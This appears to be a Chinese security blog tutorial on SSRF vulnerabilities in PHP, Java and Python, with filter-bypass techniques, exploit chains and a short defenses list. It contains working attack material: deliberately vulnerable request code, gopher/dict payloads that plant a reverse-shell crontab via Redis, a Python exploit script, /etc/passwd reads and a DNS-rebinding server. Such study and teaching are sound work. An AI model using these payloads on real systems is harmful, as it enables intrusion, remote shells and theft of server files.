0x00 前言

SSRF漏洞原理很简单,这里只整理下SSRF的一些绕过技巧以及在不同语言下的细微差别。

0x01 SSRF in PHP

SSRF相关函数

在PHP中,涉及到SSRF漏洞的函数有:

1
2
3
file_get_contents()
fsockopen()
curl_exec()

其中有如下几个注意点:

  • 大部分PHP并不会开启fsockopen()的Gopher Wrapper;
  • file_get_contents()的Gopher协议不能进行URLencode;
  • file_get_contents()关于Gopher的302跳转有bug,会导致利用失败;
  • file_get_contents()支持php://input协议;
  • curl/libcurl 7.43版本上Gopher协议存在bug即%00截断,经测试7.49版本可用;
  • curl_exec()默认不跟踪跳转;

curl_exec()造成的SSRF:

1
2
3
4
5
6
7
8
9
10
function curl($url){  
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);

file_get_contents()造成的SSRF:

1
2
$url = $_GET['url'];;
echo file_get_contents($url);

fsockopen()造成的SSRF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function GetFile($host,$port,$link) 
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp)
{
echo "$errstr (error number $errno) \n";
}
else
{
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp))
{
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}

可利用的协议

在PHP中能够进行SSRF攻击利用的协议:

  • http/https:主要用来探测内网服务,根据响应的状态判断内网端口及服务,可以结合如Struts2的RCE来实现攻击;
  • file:读取服务器上的任意文件内容;
  • dict:除了泄露安装软件版本信息,还可以查看端口,操作内网Redis服务等;
  • gopher:能够将所有操作转换成数据流,并将数据流一次发送出去,可以用来探测内网的所有服务的所有漏洞,可利用来攻击Redis和PHP-FPM;
  • ftp/ftps:FTP匿名访问、爆破;
  • tftp:UDP协议扩展,发送UDP报文;
  • imap/imaps/pop3/smtp/smtps:爆破邮件用户名密码;
  • telnet:SSH/Telnet匿名访问及爆破;

本地利用

PHP中的curl_exec()函数导致的SSRF漏洞在CTF中是经常遇到的,该函数会执行cURL会话。

可以通过curl -V命令查看curl版本及其支持的协议类型:

可以看到,我本地kali的是支持dict、file、gopher等等协议的。因此本地利用可使用上述几个协议。

注意:Windows使用curl命令需要把单引号换成双引号。

file://协议任意读文件

1
curl -v 'file:///etc/passwd'

dict://协议探测端口及banner信息

1
2
curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'

gopher://协议反弹shell

1
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

当需要更换IP和端口时,命令中的$57需要同时更改,因为$57表示的是exp字符串长度为57个字节,上面的exp即%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a这段字符串URL解码后的长度为57。

这部分在下面的远程利用中会具体讲到。

远程利用

网上找的SSRF题目代码跑下就好。远程利用分为回显型和无回显型。

s1.php,未做任何SSRF防御,且有回显:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function curl($url){
// 创建一个新cURL资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
// 抓取URL并把它传递给浏览器
curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

利用exp,比较简单,就不贴图了:

1
2
3
4
5
6
http://192.168.10.137/s1.php?url=file:///etc/passwd
http://192.168.10.137/s1.php?url=dict://127.0.0.1:6379/info
http://192.168.10.137/s1.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a

# Windows下file://协议有点区别
http://192.168.10.137/s1.php?url=file:///C:/Windows/win.ini

s2.php,限制协议为HTTP/HTTPS,且设置跳转重定向为True(默认不跳转):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

此时使用dict、gopher等协议已经不能像上一个题目一样直接同理,但是还可以利用302跳转的方式来绕过http/https协议限制。

Redis反弹Shell

Redis定时任务反弹shell语句如下:

1
2
3
4
set 1 "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
通过Gopher协议实现

Gopher协议在SSRF利用中被广泛运用,其URL格式如下:

1
gopher://<host>:<port>/<gopher-path>_后接TCP数据流

也就是说,通过Gopher协议,我们可以直接发送TCP协议流,从中进行urlencode编码来构造SSRF攻击代码。

具体Gopher协议报文的构造可参考Joychou的博客:https://joychou.org/web/phpssrf.html#directory0418754728965590855

通过Dict协议实现

这部分引用自:SSRF漏洞分析与利用

dict协议有一个功能:dict://serverip:port/name:data 向服务器的端口请求 name data,并在末尾自动补上rn(CRLF)。也就是如果我们发出dict://serverip:port/config:set:dir:/var/spool/cron/的请求,redis就执行了config set dir /var/spool/cron/ rn.用这种方式可以一步步执行redis getshell的exp,执行完就能达到和gopher一样的效果。原理一样,但是gopher只需要一个url请求即可,dict需要步步构造。

利用猪猪侠的wooyun上公开的脚本改成适配本文的脚本ssrf.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
host = '104.224.151.234'
port = '6379'
bhost = 'www.4o4notfound.org'
bport=2333
vul_httpurl = 'http://www.4o4notfound.org/ssrf.php?url='
_location = 'http://www.4o4notfound.org/302.php'
shell_location = 'http://www.4o4notfound.org/shell.php'

#1 flush db
_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format( host = host,
port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content

#set crontab command
_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport=
{bport}'.format( host = host, port = port, bhost = bhost, bport = bport)
exp_uri = '{vul_httpurl}{0}{1}'.format(shell_location, _payload,
vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content

#confg set dir
_payload='?s=dict%26ip={host}%26port=
{port}%26data=config:set:dir:/var/spool/cron/'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content

#config set dbfilename
_payload='?s=dict%26ip={host}%26port=
{port}%26data=config:set:dbfilename:root'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload,
vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content

#save
_payload='?s=dict%26ip={host}%26port={port}%26data=save'.format( host = host, port
= port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload,
vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content

因为curl默认不支持302跳转,而该脚本要用到302跳转,所以需要在ssrf.php中加上一行“curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)”来支持跳转。302.php代码为:

1
2
3
4
5
6
7
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>

shell.php主要用于写入用于反弹shell的crontab的定时任务,代码为:

1
2
3
4
5
6
7
8
9
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-
i\\x20&gt;\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200&gt;\\x261\\x0a\\x0a\\x0a\"");
?>

执行ssrf.py,即可在/var/spool/cron/下写入定时任务,反弹shell,nc等待接收shell。

攻击本地PHP-FPM

SSRF打本地PHP-FPM在之前的博文中有讲过:《浅谈PHP-FPM安全》

本次的Gopher协议攻击报文是直接通过脚本生成的。

0x02 SSRF in Java

可利用的协议

由于Java没有PHP的cURL,因此不能像PHP一样可以通过curl -V来查看支持的协议,这里我们可以使用import sun.net.www.protocol来查看支持哪些协议:

可以看到是支持file、ftp、http/https、jar、mailto、netdoc等协议的。

而实际上有攻击利用价值的仅为file和http/https协议。

SSRF相关类

Java中能发起网络请求的类:

  • HttpClient类
  • HttpURLConnection类
  • URLConnection类
  • URL类
  • OkHttp类
  • ImageIO类
  • Request类

注意:Request是对HttpClient类进行了封装的类,类似于Python的requests库。其用法简单,一行代码就能获取网页内容:

1
Request.Get(url).execute().returnContent().toString();

其中,仅支持HTTP/HTTPS协议的类(即类名或封装的类名带http):

  • HttpClient类
  • HttpURLConnection类
  • OkHttp类
  • Request类

支持sun.net.www.protocol所有协议的类:

  • URLConnection类
  • URL类
  • ImageIO类

漏洞示例代码

本部分引自:JAVA代码审计之XXE与SSRF

环境搭建可使用这个项目,这里就不演示了:https://github.com/pplsec/JavaVul/tree/master/MySSRF

HttpURLConnection类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 //HttpURLConnection ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //发起请求,触发漏洞
String inputLine;
StringBuffer html = new StringBuffer();

while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
System.out.println("html:" + html.toString());
in.close();

URLConnection类

1
2
3
4
5
6
7
8
9
10
11
12
//urlConnection ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //发起请求,触发漏洞
String inputLine;
StringBuffer html = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
System.out.println("html:" + html.toString());
in.close();

ImageIO类

1
2
3
4
// ImageIO ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
BufferedImage img = ImageIO.read(u); // 发起请求,触发漏洞

其他类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// Request漏洞示例
String url = request.getParameter("url");
return Request.Get(url).execute().returnContent().toString();//发起请求

// openStream漏洞示例
String url = request.getParameter("url");
URL u = new URL(url);
inputStream = u.openStream(); //发起请求


// OkHttpClient漏洞示例
String url = request.getParameter("url");
OkHttpClient client = new OkHttpClient();
com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
client.newCall(ok_http).execute(); //发起请求

// HttpClients漏洞示例
String url = request.getParameter("url");
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
HttpResponse httpResponse = client.execute(httpGet); //发起请求

特有jar://协议分析

jar://协议能从远程获取jar文件及解压得到其中的内容,其格式如下:

1
jar:<url>!/{entry}

实例如下,!符号后面就是其需要从中解压出的文件:

1
jar:http://a.com/b.jar!/file/within/the/zip

jar://协议分类:

  • Jar file(Jar包本身):jar:http://www.foo.com/bar/baz.jar!/
  • Jar entry(Jar包中某个资源文件):jar:http://www.foo.com/bar/baz.jar!/COM/foo/a.class
  • Jar directory(Jar包中某个目录):jar:http://www.foo.com/bar/baz.jar!/COM/foo/

其实目前jar://协议在Java SSRF中的利用一般是获取目标jar包中的文件内容,比如某个类,其并不像其他常用的攻击协议一样能够对内网服务发起攻击。

比如下面的poc是获取目标jar包内C3P0.class文件:

1
http://127.0.0.1:8080/MySSRF/ssrf2?url=jar:http://127.0.0.1/ysoserial.jar!/ysoserial/payloads/C3P0.class

这样就能看到jar包中的任何内容,如果jar包还是开发者自定义的话就会造成源码泄露,但是这个协议的利用还是很鸡肋。

Weblogic SSRF漏洞

参考Vulhub的环境:https://vulhub.org/#/environments/weblogic/ssrf/

0x03 SSRF in Python

SSRF在Python中也是一样的,漏洞点都是发起URL请求的函数的参数外部可控导致SSRf漏洞。最为经典的就是和urllib的CRLF注入漏洞的结合利用,可参考:Hack Redis via Python urllib HTTP Header Injection

0x04 URL地址过滤Bypass

如今,大多数站点都对存在SSRF风险的地方的URL参数进行了过滤,但开发者的水平参差不齐,会存在一些可被绕过的场景。

@符绕过URL白名单

有时候后台程序会以白名单的方式校验输入的URL参数是否为白名单中的域名或IP,但如果只校验如是否以http://a.com开头,则可以通过@符进行绕过:http://a.com@10.10.10.100

而此时实际访问的是http://10.10.10.100

IP地址进制转换绕过

通常,一些开发者会通过某些正则表达式来过滤掉内网地址,如:

  • ^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
  • ^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
  • ^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

此时我们可以对IP地址进行进制转换来绕过,例如192.168.0.1这个地址可以被改写成:

  • 8进制格式:0300.0250.0.1
  • 16进制格式:0xC0.0xA8.0.1
  • 16进制整数格式:0xC0A80001
  • 10进制整数格式:3232235521(先转16进制正是格式再转回10进制整数形式)

其他特殊形式:

  • 10.0.0.1可以写成10.1,访问改写后的IP地址时Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作;
  • 0.0.0.0可以直接访问到本地;

通过xip.io解析到内网绕过

这个就不用多介绍了,例如10.0.0.1这个内网IP地址是和以下几种形式的域名等价的:

利用IPv6绕过

有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如 [::] 0000::1或IPv6的内网域名来绕过过滤。

利用IDN绕过

一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。

在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜexample.com 等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 等字符绕过内网限制。

利用30x跳转绕过

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。

可以使用如 http://httpbin.org/redirect-to?url=http://192.168.0.1 等服务跳转,但是由于URL中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,可以通过短地址的方式来绕过。

常用的跳转有302跳转和307跳转,区别在于307跳转会转发POST请求中的数据等,但是302跳转不会。

跳转常见的结合协议的方式:

1
2
3
4
5
6
7
8
9
<?php
header("Location: file://etc/passwd");
?>
<?php
header("Location: dict://127.0.0.1:666/info");
?>
<?php
header("Location: gopher://127.0.0.1:666/_info");
?>

DNS Rebinding

DNS Rebinding可以利用于绕过SSRF以及绕过同源策略等。

这里看下利用DNS Rebinding绕过SSRF过滤URL参数的场景,有如下三种方法。

特定域名实现TTL=0

一个常用的防护思路是:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就禁止该次请求。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,可以进行DNS重绑定攻击。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

  • 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
  • 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
  • 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
  • 由于已经绕过验证,所以服务器端返回访问内网资源的结果。

域名绑定两条A记录

四分之一的概率,当第一次解析为外网IP,第二次解析为内网IP,就会成功。

自建DNS服务器

先添加一条NS记录和一条A记录:

Ns记录表示这个子域名test.h0pe.site指定由ns.h0pe.site域名服务器解析,A记录表示ns.h0pe.site位置在ip地址x.x.x.x上。

在这个IP地址上搭建DNS服务器,采用Python的twisted库的name模块,核心代码如下,以root权限运行即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server

record={}

class DynamicResolver(object):

def _doDynamicResponse(self, query):
name = query.name.name

if name not in record or record[name]<1:
ip="104.160.43.154"
else:
ip="171.18.0.2"

if name not in record:
record[name]=0
record[name]+=1

print name+" ===> "+ip

answer = dns.RRHeader(
name=name,
type=dns.A,
cls=dns.IN,
ttl=0,
payload=dns.Record_A(address=b'%s'%ip,ttl=0)
)
answers = [answer]
authority = []
additional = []
return answers, authority, additional

def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))

def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)

protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()



if __name__ == '__main__':
raise SystemExit(main())

通过各种非HTTP协议

在某些情况下,后台会限制协议类型,如不能使用http/https。

在前面的SSRF攻击利用中提到过很多协议,如file、dict、gopher等,可以使用这些不在限制协议名单中的协议来绕过利用,具体的还得看后台语言和环境而定。

0x05 漏洞组合拳

SSRF+文件解析漏洞

当某个页面存在SSRF漏洞,但限制了只能加载jpg等图片类型后缀的文件。此时可以结合如Apache解析漏洞,上传一个a.php.jpg的恶意文件,在通过SSRF漏洞来加载执行。

SSRF+CRLF注入漏洞

如SSRF in Python中所说。

SSRF+XXE漏洞

参考bWAPP中SSRF。

其他一些漏洞利用组合

  • Apache Hadoop远程命令执行
  • axis2-admin部署Server命令执行
  • Confluence SSRF
  • counchdb WEB API远程命令执行
  • dict
  • docker API远程命令执行
  • Elasticsearch引擎Groovy脚本命令执行
  • ftp / ftps(FTP爆破)
  • glassfish任意文件读取和war文件部署间接命令执行
  • gopher
  • HFS远程命令执行
  • http、https
  • imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
  • Java调试接口命令执行
  • JBOSS远程Invoker war命令执行
  • Jenkins Scripts接口命令执行
  • ldap
  • mongodb
  • php_fpm/fastcgi 命令执行
  • rtsp - smb/smbs(连接SMB)
  • sftp
  • ShellShock命令执行
  • Struts2 RCE
  • telnet
  • tftp(UDP协议扩展)
  • tomcat命令执行
  • WebDav PUT上传任意文件
  • WebSphere Admin可部署war间接命令执行
  • zentoPMS远程命令执行

0x06 防御方法

  • 限制协议为http/https,禁用不必要的协议;
  • 尽量禁止30x跳转;
  • 设置URL白名单或限制内网IP、限制请求的端口等;
  • 统一错误信息;
  • 对DNS Rebinding,考虑使用DNS缓存或者Host白名单;

0x07 参考

SSRF in PHP

Web安全学习笔记-SSRF

SSRF Tips

SSRF漏洞(原理&绕过姿势)